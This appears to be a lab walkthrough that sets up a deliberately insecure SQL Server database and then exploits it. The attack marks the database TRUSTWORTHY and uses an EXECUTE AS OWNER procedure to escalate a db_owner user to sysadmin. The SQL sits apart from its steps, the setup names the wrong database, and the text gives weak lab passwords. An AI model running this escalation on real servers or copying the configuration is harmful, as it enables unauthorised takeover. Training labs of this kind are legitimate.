Login to WEB01 as the Administrator user with password Welcome01!.
Open "Microsoft SQL Server Management Studio"
3. Login with the sa user using the password sa or Password1! (Depending if you changed it for another vulnerability)
4. Click “New Query” button and use the SQL query below to make Amsterdam\Richard database owner of the production database.
5. Change the Owner of the database to the SA account. Right click on "Production", click "Properties" and open the "Files" tab. Click on the "..." and fill in "sa" and click on "OK"
6. Execute the following query to make sure Amsterdam\Richard is Database owner and the real Owner of the database is sa:
7. Set the database as trustworthy and check if it is:
The 1 after Production shows us that the database is ThrustWorthy.
Attacking
How it works
If the database is set as trustworthy and we have db_owner privileges, we could elevate our privileges and execute queries as sa.
Use Production;
EXEC sp_addrolemember [db_owner], [AMSTERDAM\Richard];
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
SELECT suser_sname(owner_sid) FROM sys.databases WHERE name = 'Production'
ALTER DATABASE MyAppDb SET TRUSTWORTHY ON
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
select rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
SELECT suser_sname(owner_sid), * FROM sys.databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
USE Production;
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'AMSTERDAM\Richard','sysadmin'
USE Production;
EXEC sp_elevate_me
SELECT is_srvrolemember('sysadmin')
EXEC sp_dropsrvrolemember 'AMSTERDAM\Richard','sysadmin';
DROP PROCEDURE sp_elevate_me;